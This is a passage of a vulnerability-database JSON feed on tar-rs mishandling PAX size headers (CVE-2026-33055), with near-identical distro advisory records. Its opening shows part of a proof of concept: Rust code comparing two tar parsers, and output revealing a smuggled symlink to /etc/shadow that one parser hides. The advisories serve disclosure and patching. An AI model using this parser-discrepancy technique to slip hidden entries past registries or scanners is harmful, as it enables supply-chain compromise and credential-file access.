e.unwrap();\n        let path = e.path().unwrap().to_path_buf();\n        let kind = e.header().entry_type();\n        let link: Option\u003cPathBuf\u003e = e.link_name().ok().flatten().map(|l| l.to_path_buf());\n        match link {\n            Some(l) =\u003e println!(\"  {:20} {:?} -\u003e {}\", path.display(), kind, l.display()),\n            None =\u003e println!(\"  {:20} {:?}\", path.display(), kind),\n        }\n    }\n    println!();\n}\n\nasync fn async_parse(data: Vec\u003cu8\u003e) {\n    println!(\"astral-tokio-tar:\");\n    let mut ar = tokio_tar::Archive::new(data.as_slice());\n    let mut entries = ar.entries().unwrap();\n    while let Some(e) = tokio_stream::StreamExt::next(\u0026mut entries).await {\n        let e = e.unwrap();\n        let path = e.path().unwrap().to_path_buf();\n        let kind = e.header().entry_type();\n        let link: Option\u003cPathBuf\u003e = e.link_name().ok().flatten().map(|l| l.to_path_buf());\n        match link {\n            Some(l) =\u003e println!(\"  {:20} {:?} -\u003e {}\", path.display(), kind, l.display()),\n            None =\u003e println!(\"  {:20} {:?}\", path.display(), kind),\n        }\n    }\n    println!();\n}\n\n#[tokio::main]\nasync fn main() {\n    let path = std::env::args().nth(1).unwrap_or(\"smuggle.tar\".into());\n    let data = fs::read(\u0026path).unwrap();\n    sync_parse(\u0026data);\n    async_parse(data).await;\n}\n```\n\n```\ntar:\n  regular.txt          Regular\n  smuggled             Symlink -\u003e /etc/shadow\n\nastral-tokio-tar:\n  regular.txt          Regular\n```\n\n### Impact\n\nThis can affect anything that uses the `tar` crate to parse archives and expects to have a consistent view with other parsers. In particular it is known to affect crates.io which uses `astral-tokio-tar` to parse, but cargo uses `tar`.","status":"published","published":"2026-03-20T17:25:05Z","modified":"2026-09-10T03:50:39.204912381Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","level":"high"},{"version":"4.0","score":5.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N","level":"medium"}],"cwes":["CWE-843"],"updated_at":"2026-11-02T15:46:47.822182Z"},{"id":"RUSTSEC-2026-0068","title":"tar-rs incorrectly ignores PAX size headers if header size is nonzero","description":"Versions 0.4.44 and below of tar-rs have conditional logic that skips the PAX\nsize header in cases where the base header size is nonzero.\n\nAs part of [CVE-2025-62518][astral-cve], the [astral-tokio-tar]\nproject was changed to correctly honor PAX size headers in the case where it\nwas different from the base header. This is almost the inverse of the\nastral-tokio-tar issue.\n\nAny discrepancy in how tar parsers honor file size can be used to create\narchives that appear differently when unpacked by different archivers. In this\ncase, the tar-rs (Rust tar) crate is an outlier in checking for the header size\n— other tar parsers (including e.g. Go [`archive/tar`][go-tar]) unconditionally\nuse the PAX size override. This can affect anything that uses the tar crate to\nparse archives and expects to have a consistent view with other parsers.\n\nThis issue has been fixed in version 0.4.45.\n\n[astral-cve]: https://www.cve.org/CVERecord?id=CVE-2025-62518\n[astral-tokio-tar]: https://github.com/astral-sh/tokio-tar\n[go-tar]: https://pkg.go.dev/archive/tar","status":"published","published":"2026-03-19T12:00:00Z","modified":"2026-03-23T09:45:06.56224Z","cvss":[{"version":"4.0","score":5.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N","level":"medium"}],"updated_at":"2026-11-02T15:53:40.430679Z"},{"id":"UBUNTU-CVE-2026-33055","description":"tar-rs is a tar archive reading/writing library for Rust. Versions 0.4.44 and below have conditional logic that skips the PAX size header in cases where the base header size is nonzero. As part of CVE-2025-62518, the astral-tokio-tar project was changed to correctly honor PAX size headers in the case where it was different from the base header. This is almost the inverse of the astral-tokio-tar issue. Any discrepancy in how tar parsers honor file size can be used to create archives that appear differently when unpacked by different archivers. In this case, the tar-rs (Rust tar) crate is an outlier in checking for the header size - other tar parsers (including e.g. Go archive/tar) unconditionally use the PAX size override. This can affect anything that uses the tar crate to parse archives and expects to have a consistent view with other parsers. This issue has been fixed in version 0.4.45.","status":"published","published":"2026-03-20T07:16:00Z","modified":"2026-10-17T12:59:58.70345275Z","cvss":[{"version":"4.0","score":5.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N","level":"medium"},{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","level":"high"}],"updated_at":"2026-11-02T16:56:16.036833Z"},{"id":"AZL-80318","title":"CVE-2026-33055 affecting package tardev-snapshotter 3.2.0.tardev1-11","description":"tar-rs is a tar archive reading/writing library for Rust. Versions 0.4.44 and below have conditional logic that skips the PAX size header in cases where the base header size is nonzero. As part of CVE-2025-62518, the astral-tokio-tar project was changed to correctly honor PAX size headers in the case where it was different from the base header. This is almost the inverse of the astral-tokio-tar issue. Any discrepancy in how tar parsers honor file size can be used to create archives that appear differently when unpacked by different archivers. In this case, the tar-rs (Rust tar) crate is an outlier in checking for the header size - other tar parsers (including e.g. Go archive/tar) unconditionally use the PAX size override. This can affect anything that uses the tar crate to parse archives and expects to have a consistent view with other parsers. This issue has been fixed in version 0.4.45.","status":"published","published":"2026-03-20T07:16:13Z","modified":"2026-11-05T05:36:30Z","updated_at":"2026-11-05T16:41:24.800038Z"},{"id":"AZL-80496","title":"CVE-2026-33055 affecting package rpm-ostree for versions less than 2024.4-10","description":"tar-rs is a tar archive reading/writing library for Rust. Versions 0.4.44 and below have conditional logic that skips the PAX size header in cases where the base header size is nonzero. As part of CVE-2025-62518, the astral-tokio-tar project was changed to correctly honor PAX size headers in the case where it was different from the base header. This is almost the inverse of the astral-tokio-tar issue. Any discrepancy in how tar parsers honor file size can be used to create archives that appear differently when unpacked by different archivers. In this case, the tar-rs (Rust tar) crate is an outlier in checking for the header size - other tar parsers (including e.g. Go archive/tar) unconditionally use the PAX size override. This can affect anything that uses the tar crate to parse archives and expects to have a consistent view with other parsers. This issue has been fixed in version 0.4.45.","status":"published","published":"2026-03-20T07:16:13Z","modified":"2026-11-05T05:40:51Z","updated_at":"2026-11-05T16:41:24.800038Z"},{"id":"AZL-80505","title":"CVE-2026-33055 affecting package rust for versions less than 1.75.0-28","description":"tar-rs is a tar archive reading/writing library for Rust. Versions 0.4.44 and below have conditional logic that skips the PAX size header in cases where the base header size is nonzero. As part of CVE-2025-62518, the astral-tokio-tar project was changed to correctly honor PAX size headers in the case where it was different from the base header. This is almost the inverse of the astral-tokio-tar issue. Any discrepancy in how tar parsers honor file size can be used to create archives that appear differently when unpacked by different archivers. In this case, the tar-rs (Rust tar) crate is an outlier in checking for the header size - other tar parsers (including e.g. Go archive/tar) unconditionally use the PAX size override. This can affect anything that uses the tar crate to parse archives and expects to have a consistent view with other parsers. This issue has been fixed in version 0.4.45.","status":"published","published":"2026-03-20T07:16:13Z","modified":"2026-11-05T05:40:51Z","updated_at":"2026-11-05T16:41:24.800038Z"},{"id":"AZL-80508","title":"CVE-2026-33055 affecting package rust for versions less than 1.90.0-7","description":"tar-rs is a tar archive reading/writing library for Rust. Versions 0.4.44 and below have conditional logic that skips the PAX size header in cases where the base header size is nonzero. As part of CVE-2025-62518, the astral-tokio-tar project was changed to correctly honor PAX size headers in the case where it was different from the base header. This is almost the inverse of the astral-tokio-tar issue. Any discrepancy in how tar parsers honor file size can be used to create archives that appear differently when unpacked by different archivers. In this case, the tar-rs (Rust tar) crate is an outlier in checking for the header size - other tar parsers (including e.g. Go archive/tar) unconditionally use the PAX size override. This can affect anything that uses the tar crate to parse archives and expects to have a consistent view with other parsers. This issue has been fixed in version 0.4.45.","status":"published","published":"2026-03-20T07:16:13Z","modified":"2026-11-05T05:40:51Z","updated_at":"2026-11-05T16:41:24.800038Z"},{"id":"AZL-80520","title":"CVE-2026-33055 affecting package trident for versions less than 0.22.0-1","description":"tar-rs is a tar archive reading/writing library for Rust. Versions 0.4.44 and below have conditional logic that skips the PAX size header in cases where the base header size is nonzero. As part of CVE-2025-62518, the astral-tokio-tar project was changed to correctly honor PAX size headers in the case where it was different from the base header. This is almost the inverse of the astral-tokio-tar issue. Any discrepancy in how tar parsers honor file size can be used to create archives that appear differently when unpacked by different archivers. In this case, the tar-rs (Rust tar) crate is an outlier in checking for the header size - other tar parsers (including e.g. Go archive/tar) unconditionally use the PAX size override. This can affect anything that uses the tar crate to parse archives and expects to have a consistent view with other parsers. This issue has been fixed in version 0.4.45.","status":"published","published":"2026-03-20T07:16:13Z","modified":"2026-08-28T17:56:41.74048Z","updated_at":"2026-11-02T15:28:10.017343Z"},{"id":"AZL-83034","title":"CVE-2026-33055 affecting package clamav for versions less than 1.5.2-2","description":"tar-rs is a tar archive reading/writing library for Rust. Versions 0.4.44 and below have conditional logic that skips the PAX size header in cases where the base header size is nonzero. As part of CVE-2025-62518, the astral-tokio-tar project was changed to correctly honor PAX size headers in the case where it was different from the base header. This is almost the inverse of the astral-tokio-tar issue. Any discrepancy in how tar parsers honor file size can be used to create archives that appear differently when unpacked by different archivers. In this case, the tar-rs (Rust tar) crate is an outlier in checking for the header size - other tar parsers (including e.g. Go archive/tar) unconditionally use the PAX size override. This can affect anything that uses the tar crate to parse archives and expects to have a consistent view with other parsers. This issue has been fixed in version 0.4.45.","status":"published","published":"2026-03-20T07:16:13Z","modified":"2026-08-28T17:56:46.898298Z","updated_at":"2026-11-02T15:28:10.335477Z"}]}}